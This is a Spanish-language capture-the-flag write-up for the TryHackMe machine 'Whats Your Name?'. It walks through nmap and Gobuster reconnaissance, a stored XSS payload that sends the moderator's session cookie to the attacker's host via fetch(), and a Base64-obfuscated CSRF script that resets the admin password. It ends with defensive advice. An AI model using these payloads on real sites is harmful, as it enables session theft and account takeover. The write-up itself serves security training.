> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/writes-ups/tryhackme/medium/whats-your-name.md).

# Whats your name?

## Información de la máquina

<figure><img src="/files/wF2zd4STjtDXwXXQnTxT" alt=""><figcaption></figcaption></figure>

La máquina **“Whats Your Name?”** de TryHackMe, clasificada con un nivel **Medium**, nos plantea un escenario enfocado en vulnerabilidades web clásicas pero potentes: **fuzzing de directorios, XSS y CSRF**.

El reto nos obliga a pensar como un atacante real, que tras un reconocimiento inicial con Nmap y Gobuster, descubre un subdominio oculto donde se centraliza la autenticación. A partir de ahí, mediante la explotación de un **XSS persistente** es posible robar la sesión de un moderador, y con ello acceder a funcionalidades restringidas. Finalmente, se aprovecha un **CSRF** en el cambio de contraseña para escalar privilegios y tomar control de la cuenta administrador, consiguiendo así la flag final.

El recorrido de esta máquina es un ejemplo muy práctico de cómo fallos aparentemente pequeños (un mensaje en un formulario, un mal control de permisos, la falta de validaciones) pueden encadenarse para comprometer por completo una aplicación web.

***

## Reconocimiento

Empezaremos haciendo un primer reconocimiento para ver los puertos abiertos en el sistema.

<figure><img src="/files/Txwz6znu0eRXzpbJuJLM" alt=""><figcaption></figcaption></figure>

**1. `-p-` → Escaneo de todos los puertos (1-65535)**

Por defecto, `nmap` solo escanea los **1000 puertos más comunes**.\
Con `-p-`, forzamos a que escanee **los 65.535 puertos** de la máquina objetivo, lo que puede ser útil para encontrar servicios que corren en puertos poco convencionales.

**2. `--open` → Filtrar solo los puertos abiertos**

Cuando escaneamos un sistema, muchos puertos pueden estar cerrados o filtrados por un firewall.\
Este parámetro hace que `nmap` **solo muestre los puertos abiertos**, reduciendo el ruido y facilitando el análisis.

**3. `-sS` → Stealth Scan (Escaneo Sigiloso con SYN)**

Es conocido como **"TCP SYN Scan"**, y funciona de la siguiente manera:

* `nmap` envía un paquete **SYN** (solicitud de conexión).
* &#x20;Si el puerto está abierto, el servidor responde con **SYN-ACK**.
* En lugar de completar la conexión con un **ACK**, `nmap` responde con un **RST (Reset)**, interrumpiendo la comunicación.

**4. `--min-rate 5000` → Velocidad mínima de paquetes (5000 por segundo)**

Por defecto, `nmap` ajusta dinámicamente la velocidad de los paquetes según la respuesta de la red.\
Con `--min-rate 5000`, obligamos a `nmap` a **no enviar menos de 5000 paquetes por segundo**, acelerando el escaneo.

**5. `-n` → Deshabilitar resolución DNS**

Normalmente, `nmap` intenta resolver el nombre de dominio de las IPs escaneadas (DNS lookup).\
Con `-n`, evitamos esta resolución de nombres, lo que **acelera el escaneo** y evita que los servidores DNS registren nuestra actividad.

**6. `-Pn` → Omitir detección de host (Host Discovery Off)**

Por defecto, `nmap` envía paquetes ICMP (ping) para ver si un host está activo antes de escanearlo.\
Si un firewall bloquea los pings, `nmap` puede marcarlo como "host down" y no escanearlo.

**7. `-oG`** **→ Exportar el contenido en formato grepeable**

Todo el resultado del escaneo lo exportaremos en un archivo llamado **`allPorts` .**

<figure><img src="/files/xpMqQCKAiMOq1TBBfxOC" alt=""><figcaption></figcaption></figure>

**1.** `-p22,1337` **→ Escaneo de puertos específicos**

Con `-p22,1337`, le indicamos que **solo** escanee los puertos que le indicamos

**2. `-sCV` → Escaneo de versiones y scripts básicos**

Este parámetro en realidad es **dos combinaciones en una**:

* **`-sC`** → Activa los **NSE scripts por defecto** en `nmap` (similar a usar `--script=default`).\
  Ejecuta scripts básicos para enumerar información del servicio detectado, como banners, versiones, etc.
* **`-sV`** → Realiza **fingerprinting de versiones**, intentando identificar la versión exacta del software en cada puerto abierto.

**3. `-oN` → Guardar el resultado en formato Normal**

Por defecto, `nmap` muestra los resultados en pantalla, pero con **`-oN targeted`**, guardamos el resultado en un archivo en **formato legible para humanos**.

Añadimos el dominio worldwap.thm al /etc/hosts ya que nos lo dice la propia máquina.

<figure><img src="/files/VVudKVumBwY9CM1MXV1W" alt=""><figcaption></figcaption></figure>

## Fuzzing web

Comenzamos realizando un **fuzzing de directorios** en el dominio principal (`worldwap.thm`) utilizando **Gobuster**.\
El objetivo de esta técnica es descubrir rutas y archivos ocultos que no son enlazados directamente desde la web, pero que aún están disponibles en el servidor.

Tras lanzar el escaneo, encontramos varios archivos interesantes, entre ellos **`login.php`**.

<figure><img src="/files/ox7gf6WNz3XHdybf0eSR" alt=""><figcaption></figcaption></figure>

Cuando accedemos a `worldwap.thm/login.php`, en lugar de mostrarnos un formulario típico de login, la aplicación nos devuelve un mensaje:

> *“Para iniciar sesión vaya al subdominio login.worldwap.thm"*

<figure><img src="/files/yuj7VxGJKPlHP7VCnYS1" alt=""><figcaption></figcaption></figure>

Para poder acceder, añadimos dicho subdominio en nuestro archivo `/etc/hosts`:

```bash
echo "10.10.61.61 login.worldwap.thm" | sudo tee -a /etc/hosts
```

<figure><img src="/files/lh7DbLmiBiQRKxHE56lB" alt=""><figcaption></figcaption></figure>

Al visitar `login.worldwap.thm`, la página aparece totalmente en negro. Sin embargo, al intentar acceder a la ruta `login.php`, nos encontramos con un formulario distinto al anterior, lo que confirma que este subdominio maneja el sistema de autenticación.

<figure><img src="/files/aOL7d1PfR3FyXw0qQViy" alt=""><figcaption></figcaption></figure>

Lo primero que probamos es **registrarnos en la web**. El registro funciona, pero tanto en el dominio principal como en el subdominio los intentos de login fallan

<figure><img src="/files/wT6H27ivXDYJss0jFNRD" alt=""><figcaption></figcaption></figure>

`worldwap.thm/login.php` → no deja iniciar sesión.

<figure><img src="/files/ajziX4Z813pE3QqLMezI" alt=""><figcaption></figcaption></figure>

`login.worldwap.thm/login.php` → tampoco nos autentica.

<figure><img src="/files/FzgL0zq2nSKlQK6qreFd" alt=""><figcaption></figcaption></figure>

Durante el registro, observamos un detalle importante:\
El sistema muestra un mensaje diciendo que **el moderador revisará los detalles de nuestra cuenta**.\
Esto enciende una alerta: podría existir una **vulnerabilidad de XSS** aprovechable en el flujo de validación del moderador.

<figure><img src="/files/LVrqPx20GlZUm2YqdIfs" alt=""><figcaption></figcaption></figure>

## XXS cookie hijacking

Para comprobarlo, preparamos un **payload de XSS** con el objetivo de robar la cookie de sesión del moderador.

Ejemplo de payload clásico:

```html
<script>fetch("http://10.10.61.61/test.php?c="+document.cookie;)</script>
```

<figure><img src="/files/aeWvdg9N2PDmoOwaAhrg" alt=""><figcaption></figcaption></figure>

En nuestra máquina, levantamos un servidor HTTP en el puerto 80 para recibir la cookie:

```bash
python3 -m http.server 80
```

<figure><img src="/files/TfHIHBtx7ICqksEao8pi" alt=""><figcaption></figcaption></figure>

Cuando el moderador revisa nuestro registro, el payload se ejecuta y recibimos su cookie de sesión en nuestro servidor.

Con esa cookie, vamos a `login.worldwap.thm` y reemplazamos nuestra cookie con la robada.

<figure><img src="/files/vtJp2xSi0jNK4i8Bs6mU" alt=""><figcaption></figcaption></figure>

Tras recargar la página, entramos directamente como el usuario **moderator**.

<figure><img src="/files/DVFrJVEtIhsnZQvKnUCy" alt=""><figcaption></figcaption></figure>

Dentro de la sesión de `moderator`, encontramos una sección de chat. Inicialmente parece vulnerable a XSS, pero no ofrece un vector de escalada inmediato, así que seguimos investigando.

<figure><img src="/files/907L4f4iPXRaVlQW28n2" alt=""><figcaption></figcaption></figure>

## CSRF change password

Revisando el panel, hallamos una funcionalidad de **cambio de contraseña**.\
El sistema nos dice explícitamente que *solo los administradores pueden cambiar contraseñas*.\
Esto nos hace pensar en un posible **ataque CSRF** (*Cross-Site Request Forgery*).

<figure><img src="/files/xObi1X8soyjIZbT2HMDz" alt=""><figcaption></figcaption></figure>

Después de varias pruebas, notamos que si enviamos la petición de forma directa, el servidor la bloquea.\
Sin embargo, si **codificamos la URL a Base64** y la decodificamos dinámicamente en el payload, la validación se salta.

Payload CSRF funcional:

```html
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', atob('aHR0cDovL2xvZ2luLndvcmxkd2FwLnRobS9jaGFuZ2VfcGFzc3dvcmQucGhw'), true);
xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange = function () {
    if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
        alert("Action executed!");
    }
};
xhr.send('action=execute&new_password=admin12345');
</script>
```

Este script fuerza al navegador del moderador (o admin) a ejecutar la petición de cambio de contraseña, configurando la nueva clave del administrador en `admin12345`.

<figure><img src="/files/EPbsa9XwNrPi4rfKJvnN" alt=""><figcaption></figcaption></figure>

Tras ejecutar el payload, iniciamos sesión en `login.worldwap.thm` con las credenciales:

```
admin : admin12345
```

La autenticación es exitosa y obtenemos acceso como administrador.\
Finalmente, al explorar el panel de administración, conseguimos la **flag final**

<figure><img src="/files/538FGTkIzmSJURIuaZj4" alt=""><figcaption></figcaption></figure>

***

## Conclusión

La máquina **“Whats Your Name?”** demuestra cómo un atacante puede pasar de un reconocimiento básico a un **compromiso total de la aplicación** siguiendo una cadena de vulnerabilidades:

* **Fuzzing** con Gobuster → descubriendo rutas y subdominios ocultos.
* **XSS (Cookie Hijacking)** → permitiendo robar la sesión del moderador.
* **CSRF en cambio de contraseña** → explotado para forzar la elevación a administrador.

Este laboratorio refuerza la importancia de implementar **medidas de seguridad en aplicaciones web**, como validaciones de entrada, uso de cookies seguras con flags `HttpOnly` y `SameSite`, y la protección contra CSRF mediante tokens únicos por sesión.
